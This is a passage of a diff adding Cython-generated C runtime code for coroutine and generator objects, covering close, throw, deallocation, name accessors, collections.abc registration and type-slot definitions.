__Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + if (__Pyx_CoroutineAwait_CheckExact(yf)) { + retval = __Pyx_CoroutineAwait_Close((__pyx_CoroutineAwaitObject*)yf, NULL); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + retval = __Pyx_async_gen_asend_close(yf, NULL); + } else + if (__pyx_PyAsyncGenAThrow_CheckExact(yf)) { + retval = __Pyx_async_gen_athrow_close(yf, NULL); + } else + #endif + { + PyObject *meth; + gen->is_running = 1; + meth = __Pyx_PyObject_GetAttrStrNoError(yf, __pyx_n_s_close); + if (unlikely(!meth)) { + if (unlikely(PyErr_Occurred())) { + PyErr_WriteUnraisable(yf); + } + } else { + retval = __Pyx_PyObject_CallNoArg(meth); + Py_DECREF(meth); + if (unlikely(!retval)) + err = -1; + } + gen->is_running = 0; + } + Py_XDECREF(retval); + return err; +} +static PyObject *__Pyx_Generator_Next(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Generator_Next(yf); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, NULL); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, Py_None); + } else + #endif + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + return __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_SendEx(gen, Py_None, 0); +} +static PyObject *__Pyx_Coroutine_Close_Method(PyObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self); +} +static PyObject *__Pyx_Coroutine_Close(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *retval, *raised_exception; + PyObject *yf = gen->yieldfrom; + int err = 0; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + Py_INCREF(yf); + err = __Pyx_Coroutine_CloseIter(gen, yf); + __Pyx_Coroutine_Undelegate(gen); + Py_DECREF(yf); + } + if (err == 0) + PyErr_SetNone(PyExc_GeneratorExit); + retval = __Pyx_Coroutine_SendEx(gen, NULL, 1); + if (unlikely(retval)) { + const char *msg; + Py_DECREF(retval); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(self)) { + msg = "coroutine ignored GeneratorExit"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(self)) { +#if PY_VERSION_HEX < 0x03060000 + msg = "async generator ignored GeneratorExit - might require Python 3.6+ finalisation (PEP 525)"; +#else + msg = "async generator ignored GeneratorExit"; +#endif + #endif + } else { + msg = "generator ignored GeneratorExit"; + } + PyErr_SetString(PyExc_RuntimeError, msg); + return NULL; + } + raised_exception = PyErr_Occurred(); + if (likely(!raised_exception || __Pyx_PyErr_GivenExceptionMatches2(raised_exception, PyExc_GeneratorExit, PyExc_StopIteration))) { + if (raised_exception) PyErr_Clear(); + Py_INCREF(Py_None); + return Py_None; + } + return NULL; +} +static PyObject *__Pyx__Coroutine_Throw(PyObject *self, PyObject *typ, PyObject *val, PyObject *tb, + PyObject *args, int close_on_genexit) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + Py_INCREF(yf); + if (__Pyx_PyErr_GivenExceptionMatches(typ, PyExc_GeneratorExit) && close_on_genexit) { + int err = __Pyx_Coroutine_CloseIter(gen, yf); + Py_DECREF(yf); + __Pyx_Coroutine_Undelegate(gen); + if (err < 0) + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); + goto throw_here; + } + gen->is_running = 1; + if (0 + #ifdef __Pyx_Generator_USED + || __Pyx_Generator_CheckExact(yf) + #endif + #ifdef __Pyx_Coroutine_USED + || __Pyx_Coroutine_Check(yf) + #endif + ) { + ret = __Pyx__Coroutine_Throw(yf, typ, val, tb, args, close_on_genexit); + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_CoroutineAwait_CheckExact(yf)) { + ret = __Pyx__Coroutine_Throw(((__pyx_CoroutineAwaitObject*)yf)->coroutine, typ, val, tb, args, close_on_genexit); + #endif + } else { + PyObject *meth = __Pyx_PyObject_GetAttrStrNoError(yf, __pyx_n_s_throw); + if (unlikely(!meth)) { + Py_DECREF(yf); + if (unlikely(PyErr_Occurred())) { + gen->is_running = 0; + return NULL; + } + __Pyx_Coroutine_Undelegate(gen); + gen->is_running = 0; + goto throw_here; + } + if (likely(args)) { + ret = __Pyx_PyObject_Call(meth, args, NULL); + } else { + PyObject *cargs[4] = {NULL, typ, val, tb}; + ret = __Pyx_PyObject_FastCall(meth, cargs+1, 3 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); + } + Py_DECREF(meth); + } + gen->is_running = 0; + Py_DECREF(yf); + if (!ret) { + ret = __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_MethodReturn(self, ret); + } +throw_here: + __Pyx_Raise(typ, val, tb, NULL); + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); +} +static PyObject *__Pyx_Coroutine_Throw(PyObject *self, PyObject *args) { + PyObject *typ; + PyObject *val = NULL; + PyObject *tb = NULL; + if (unlikely(!PyArg_UnpackTuple(args, (char *)"throw", 1, 3, &typ, &val, &tb))) + return NULL; + return __Pyx__Coroutine_Throw(self, typ, val, tb, args, 1); +} +static CYTHON_INLINE int __Pyx_Coroutine_traverse_excstate(__Pyx_ExcInfoStruct *exc_state, visitproc visit, void *arg) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_VISIT(exc_state->exc_value); +#else + Py_VISIT(exc_state->exc_type); + Py_VISIT(exc_state->exc_value); + Py_VISIT(exc_state->exc_traceback); +#endif + return 0; +} +static int __Pyx_Coroutine_traverse(__pyx_CoroutineObject *gen, visitproc visit, void *arg) { + Py_VISIT(gen->closure); + Py_VISIT(gen->classobj); + Py_VISIT(gen->yieldfrom); + return __Pyx_Coroutine_traverse_excstate(&gen->gi_exc_state, visit, arg); +} +static int __Pyx_Coroutine_clear(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + Py_CLEAR(gen->closure); + Py_CLEAR(gen->classobj); + Py_CLEAR(gen->yieldfrom); + __Pyx_Coroutine_ExceptionClear(&gen->gi_exc_state); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + Py_CLEAR(((__pyx_PyAsyncGenObject*)gen)->ag_finalizer); + } +#endif + Py_CLEAR(gen->gi_code); + Py_CLEAR(gen->gi_frame); + Py_CLEAR(gen->gi_name); + Py_CLEAR(gen->gi_qualname); + Py_CLEAR(gen->gi_modulename); + return 0; +} +static void __Pyx_Coroutine_dealloc(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject_GC_UnTrack(gen); + if (gen->gi_weakreflist != NULL) + PyObject_ClearWeakRefs(self); + if (gen->resume_label >= 0) { + PyObject_GC_Track(self); +#if PY_VERSION_HEX >= 0x030400a1 && CYTHON_USE_TP_FINALIZE + if (unlikely(PyObject_CallFinalizerFromDealloc(self))) +#else + Py_TYPE(gen)->tp_del(self); + if (unlikely(Py_REFCNT(self) > 0)) +#endif + { + return; + } + PyObject_GC_UnTrack(self); + } +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + /* We have to handle this case for asynchronous generators + right here, because this code has to be between UNTRACK + and GC_Del. */ + Py_CLEAR(((__pyx_PyAsyncGenObject*)self)->ag_finalizer); + } +#endif + __Pyx_Coroutine_clear(self); + __Pyx_PyHeapTypeObject_GC_Del(gen); +} +static void __Pyx_Coroutine_del(PyObject *self) { + PyObject *error_type, *error_value, *error_traceback; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + __Pyx_PyThreadState_declare + if (gen->resume_label < 0) { + return; + } +#if !CYTHON_USE_TP_FINALIZE + assert(self->ob_refcnt == 0); + __Pyx_SET_REFCNT(self, 1); +#endif + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&error_type, &error_value, &error_traceback); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + __pyx_PyAsyncGenObject *agen = (__pyx_PyAsyncGenObject*)self; + PyObject *finalizer = agen->ag_finalizer; + if (finalizer && !agen->ag_closed) { + PyObject *res = __Pyx_PyObject_CallOneArg(finalizer, self); + if (unlikely(!res)) { + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); + return; + } + } +#endif + if (unlikely(gen->resume_label == 0 && !error_value)) { +#ifdef __Pyx_Coroutine_USED +#ifdef __Pyx_Generator_USED + if (!__Pyx_Generator_CheckExact(self)) +#endif + { + PyObject_GC_UnTrack(self); +#if PY_MAJOR_VERSION >= 3 || defined(PyErr_WarnFormat) + if (unlikely(PyErr_WarnFormat(PyExc_RuntimeWarning, 1, "coroutine '%.50S' was never awaited", gen->gi_qualname) < 0)) + PyErr_WriteUnraisable(self); +#else + {PyObject *msg; + char *cmsg; + #if CYTHON_COMPILING_IN_PYPY + msg = NULL; + cmsg = (char*) "coroutine was never awaited"; + #else + char *cname; + PyObject *qualname; + qualname = gen->gi_qualname; + cname = PyString_AS_STRING(qualname); + msg = PyString_FromFormat("coroutine '%.50s' was never awaited", cname); + if (unlikely(!msg)) { + PyErr_Clear(); + cmsg = (char*) "coroutine was never awaited"; + } else { + cmsg = PyString_AS_STRING(msg); + } + #endif + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, cmsg, 1) < 0)) + PyErr_WriteUnraisable(self); + Py_XDECREF(msg);} +#endif + PyObject_GC_Track(self); + } +#endif + } else { + PyObject *res = __Pyx_Coroutine_Close(self); + if (unlikely(!res)) { + if (PyErr_Occurred()) + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); +#if !CYTHON_USE_TP_FINALIZE + assert(Py_REFCNT(self) > 0); + if (likely(--self->ob_refcnt == 0)) { + return; + } + { + Py_ssize_t refcnt = Py_REFCNT(self); + _Py_NewReference(self); + __Pyx_SET_REFCNT(self, refcnt); + } +#if CYTHON_COMPILING_IN_CPYTHON + assert(PyType_IS_GC(Py_TYPE(self)) && + _Py_AS_GC(self)->gc.gc_refs != _PyGC_REFS_UNTRACKED); + _Py_DEC_REFTOTAL; +#endif +#ifdef COUNT_ALLOCS + --Py_TYPE(self)->tp_frees; + --Py_TYPE(self)->tp_allocs; +#endif +#endif +} +static PyObject * +__Pyx_Coroutine_get_name(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_name; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_name(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_name, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_qualname(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_qualname; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_qualname(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_qualname, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_frame(__pyx_CoroutineObject *self, void *context) +{ + PyObject *frame = self->gi_frame; + CYTHON_UNUSED_VAR(context); + if (!frame) { + if (unlikely(!self->gi_code)) { + Py_RETURN_NONE; + } + frame = (PyObject *) PyFrame_New( + PyThreadState_Get(), /*PyThreadState *tstate,*/ + (PyCodeObject*) self->gi_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (unlikely(!frame)) + return NULL; + self->gi_frame = frame; + } + Py_INCREF(frame); + return frame; +} +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject* type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + __pyx_CoroutineObject *gen = PyObject_GC_New(__pyx_CoroutineObject, type); + if (unlikely(!gen)) + return NULL; + return __Pyx__Coroutine_NewInit(gen, body, code, closure, name, qualname, module_name); +} +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + gen->body = body; + gen->closure = closure; + Py_XINCREF(closure); + gen->is_running = 0; + gen->resume_label = 0; + gen->classobj = NULL; + gen->yieldfrom = NULL; + #if PY_VERSION_HEX >= 0x030B00a4 + gen->gi_exc_state.exc_value = NULL; + #else + gen->gi_exc_state.exc_type = NULL; + gen->gi_exc_state.exc_value = NULL; + gen->gi_exc_state.exc_traceback = NULL; + #endif +#if CYTHON_USE_EXC_INFO_STACK + gen->gi_exc_state.previous_item = NULL; +#endif + gen->gi_weakreflist = NULL; + Py_XINCREF(qualname); + gen->gi_qualname = qualname; + Py_XINCREF(name); + gen->gi_name = name; + Py_XINCREF(module_name); + gen->gi_modulename = module_name; + Py_XINCREF(code); + gen->gi_code = code; + gen->gi_frame = NULL; + PyObject_GC_Track(gen); + return gen; +} + +/* PyObject_GenericGetAttrNoDict */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static PyObject *__Pyx_RaiseGenericGetAttributeError(PyTypeObject *tp, PyObject *attr_name) { + __Pyx_TypeName type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, attr_name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(attr_name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name) { + PyObject *descr; + PyTypeObject *tp = Py_TYPE(obj); + if (unlikely(!PyString_Check(attr_name))) { + return PyObject_GenericGetAttr(obj, attr_name); + } + assert(!tp->tp_dictoffset); + descr = _PyType_Lookup(tp, attr_name); + if (unlikely(!descr)) { + return __Pyx_RaiseGenericGetAttributeError(tp, attr_name); + } + Py_INCREF(descr); + #if PY_MAJOR_VERSION < 3 + if (likely(PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_HAVE_CLASS))) + #endif + { + descrgetfunc f = Py_TYPE(descr)->tp_descr_get; + if (unlikely(f)) { + PyObject *res = f(descr, obj, (PyObject *)tp); + Py_DECREF(descr); + return res; + } + } + return descr; +} +#endif + +/* PatchModuleWithCoroutine */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + int result; + PyObject *globals, *result_obj; + globals = PyDict_New(); if (unlikely(!globals)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_coroutine_type", + #ifdef __Pyx_Coroutine_USED + (PyObject*)__pyx_CoroutineType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_generator_type", + #ifdef __Pyx_Generator_USED + (PyObject*)__pyx_GeneratorType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "_module", module) < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "__builtins__", __pyx_b) < 0)) goto ignore; + result_obj = PyRun_String(py_code, Py_file_input, globals, globals); + if (unlikely(!result_obj)) goto ignore; + Py_DECREF(result_obj); + Py_DECREF(globals); + return module; +ignore: + Py_XDECREF(globals); + PyErr_WriteUnraisable(module); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, "Cython module failed to patch module with custom type", 1) < 0)) { + Py_DECREF(module); + module = NULL; + } +#else + py_code++; +#endif + return module; +} + +/* PatchGeneratorABC */ +#ifndef CYTHON_REGISTER_ABCS +#define CYTHON_REGISTER_ABCS 1 +#endif +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) +static PyObject* __Pyx_patch_abc_module(PyObject *module); +static PyObject* __Pyx_patch_abc_module(PyObject *module) { + module = __Pyx_Coroutine_patch_module( + module, "" +"if _cython_generator_type is not None:\n" +" try: Generator = _module.Generator\n" +" except AttributeError: pass\n" +" else: Generator.register(_cython_generator_type)\n" +"if _cython_coroutine_type is not None:\n" +" try: Coroutine = _module.Coroutine\n" +" except AttributeError: pass\n" +" else: Coroutine.register(_cython_coroutine_type)\n" + ); + return module; +} +#endif +static int __Pyx_patch_abc(void) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + static int abc_patched = 0; + if (CYTHON_REGISTER_ABCS && !abc_patched) { + PyObject *module; + module = PyImport_ImportModule((PY_MAJOR_VERSION >= 3) ? "collections.abc" : "collections"); + if (unlikely(!module)) { + PyErr_WriteUnraisable(NULL); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, + ((PY_MAJOR_VERSION >= 3) ? + "Cython module failed to register with collections.abc module" : + "Cython module failed to register with collections module"), 1) < 0)) { + return -1; + } + } else { + module = __Pyx_patch_abc_module(module); + abc_patched = 1; + if (unlikely(!module)) + return -1; + Py_DECREF(module); + } + module = PyImport_ImportModule("backports_abc"); + if (module) { + module = __Pyx_patch_abc_module(module); + Py_XDECREF(module); + } + if (!module) { + PyErr_Clear(); + } + } +#else + if ((0)) __Pyx_Coroutine_patch_module(NULL, NULL); +#endif + return 0; +} + +/* Coroutine */ +static void __Pyx_CoroutineAwait_dealloc(PyObject *self) { + PyObject_GC_UnTrack(self); + Py_CLEAR(((__pyx_CoroutineAwaitObject*)self)->coroutine); + __Pyx_PyHeapTypeObject_GC_Del(self); +} +static int __Pyx_CoroutineAwait_traverse(__pyx_CoroutineAwaitObject *self, visitproc visit, void *arg) { + Py_VISIT(self->coroutine); + return 0; +} +static int __Pyx_CoroutineAwait_clear(__pyx_CoroutineAwaitObject *self) { + Py_CLEAR(self->coroutine); + return 0; +} +static PyObject *__Pyx_CoroutineAwait_Next(__pyx_CoroutineAwaitObject *self) { + return __Pyx_Generator_Next(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_Send(__pyx_CoroutineAwaitObject *self, PyObject *value) { + return __Pyx_Coroutine_Send(self->coroutine, value); +} +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args) { + return __Pyx_Coroutine_Throw(self->coroutine, args); +} +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_self(PyObject *self) { + Py_INCREF(self); + return self; +} +#if !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_CoroutineAwait_no_new(PyTypeObject *type, PyObject *args, PyObject *kwargs) { + CYTHON_UNUSED_VAR(type); + CYTHON_UNUSED_VAR(args); + CYTHON_UNUSED_VAR(kwargs); + PyErr_SetString(PyExc_TypeError, "cannot instantiate type, use 'await coroutine' instead"); + return NULL; +} +#endif +static PyObject *__Pyx_CoroutineAwait_reduce_ex(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + PyErr_Format(PyExc_TypeError, "cannot pickle '%.200s' object", + Py_TYPE(self)->tp_name); + return NULL; +} +static PyMethodDef __pyx_CoroutineAwait_methods[] = { + {"send", (PyCFunction) __Pyx_CoroutineAwait_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_CoroutineAwait_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_CoroutineAwait_Close, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, + {"__reduce_ex__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_O, 0}, + {"__reduce__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_NOARGS, 0}, + {0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CoroutineAwaitType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CoroutineAwait_dealloc}, + {Py_tp_traverse, (void *)__Pyx_CoroutineAwait_traverse}, + {Py_tp_clear, (void *)__Pyx_CoroutineAwait_clear}, +#if !CYTHON_COMPILING_IN_PYPY + {Py_tp_new, (void *)__Pyx_CoroutineAwait_no_new}, +#endif + {Py_tp_methods, (void *)__pyx_CoroutineAwait_methods}, + {Py_tp_iter, (void *)__Pyx_CoroutineAwait_self}, + {Py_tp_iternext, (void *)__Pyx_CoroutineAwait_Next}, + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineAwaitType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + __pyx_CoroutineAwaitType_slots +}; +#else +static PyTypeObject __pyx_CoroutineAwaitType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + (destructor) __Pyx_CoroutineAwait_dealloc, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + PyDoc_STR("A wrapper object implementing __await__ for coroutines."), + (traverseproc) __Pyx_CoroutineAwait_traverse, + (inquiry) __Pyx_CoroutineAwait_clear, + 0, + 0, + __Pyx_CoroutineAwait_self, + (iternextfunc) __Pyx_CoroutineAwait_Next, + __pyx_CoroutineAwait_methods, + 0 , + 0 , + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if !CYTHON_COMPILING_IN_PYPY + __Pyx_CoroutineAwait_no_new, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +#if PY_VERSION_HEX < 0x030500B1 || defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static CYTHON_INLINE PyObject *__Pyx__Coroutine_await(PyObject *coroutine) { + __pyx_CoroutineAwaitObject *await = PyObject_GC_New(__pyx_CoroutineAwaitObject, __pyx_CoroutineAwaitType); + if (unlikely(!await)) return NULL; + Py_INCREF(coroutine); + await->coroutine = coroutine; + PyObject_GC_Track(await); + return (PyObject*)await; +} +#endif +#if PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_await_method(PyObject *coroutine, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static PyObject *__Pyx_Coroutine_await(PyObject *coroutine) { + if (unlikely(!coroutine || !__Pyx_Coroutine_Check(coroutine))) { + PyErr_SetString(PyExc_TypeError, "invalid input, expected coroutine"); + return NULL; + } + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_compare(PyObject *obj, PyObject *other, int op) { + PyObject* result; + switch (op) { + case Py_EQ: result = (other == obj) ? Py_True : Py_False; break; + case Py_NE: result = (other != obj) ? Py_True : Py_False; break; + default: + result = Py_NotImplemented; + } + Py_INCREF(result); + return result; +} +#endif +static PyMethodDef __pyx_Coroutine_methods[] = { + {"send", (PyCFunction) __Pyx_Coroutine_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_Coroutine_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_Coroutine_Close_Method, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, +#if PY_VERSION_HEX < 0x030500B1 + {"__await__", (PyCFunction) __Pyx_Coroutine_await_method, METH_NOARGS, + (char*) PyDoc_STR("__await__() -> return an iterator to be used in await expression.")}, +#endif + {0, 0, 0, 0} +}; +static PyMemberDef __pyx_Coroutine_memberlist[] = { + {(char *) "cr_running", T_BOOL, offsetof(__pyx_CoroutineObject, is_running), READONLY, NULL}, + {(char*) "cr_await", T_OBJECT, offsetof(__pyx_CoroutineObject, yieldfrom), READONLY, + (char*) PyDoc_STR("object being awaited, or None")}, + {(char*) "cr_code", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_code), READONLY, NULL}, + {(char *) "__module__", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_modulename), 0, 0}, +#if CYTHON_USE_TYPE_SPECS + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CoroutineObject, gi_weakreflist), READONLY, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyGetSetDef __pyx_Coroutine_getsets[] = { + {(char *) "__name__", (getter)__Pyx_Coroutine_get_name, (setter)__Pyx_Coroutine_set_name, + (char*) PyDoc_STR("name of the coroutine"), 0}, + {(char *) "__qualname__", (getter)__Pyx_Coroutine_get_qualname, (setter)__Pyx_Coroutine_set_qualname, + (char*) PyDoc_STR("qualified name of the coroutine"), 0}, + {(char *) "cr_frame", (getter)__Pyx_Coroutine_get_frame, NULL, + (char*) PyDoc_STR("Frame of the coroutine"), 0}, + {0, 0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CoroutineType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_Coroutine_dealloc}, + {Py_am_await, (void *)&__Pyx_Coroutine_await}, + {Py_tp_traverse, (void *)__Pyx_Coroutine_traverse}, + {Py_tp_methods, (void *)__pyx_Coroutine_methods}, + {Py_tp_members, (void *)__pyx_Coroutine_memberlist}, + {Py_tp_getset, (void *)__pyx_Coroutine_getsets}, + {Py_tp_getattro, (void *) __Pyx_PyObject_GenericGetAttrNoDict}, +#if CYTHON_USE_TP_FINALIZE + {Py_tp_finalize, (void *)__Pyx_Coroutine_del}, +#endif + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + __pyx_CoroutineType_slots +}; +#else +#if CYTHON_USE_ASYNC_SLOTS +static __Pyx_PyAsyncMethodsStruct __pyx_Coroutine_as_async = { + __Pyx_Coroutine_await, + 0, + 0, +#if PY_VERSION_HEX >= 0x030A00A3 + 0, +#endif +}; +#endif +static PyTypeObject __pyx_CoroutineType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + (destructor) __Pyx_Coroutine_dealloc, + 0, + 0, + 0, +#if CYTHON_USE_ASYNC_SLOTS + 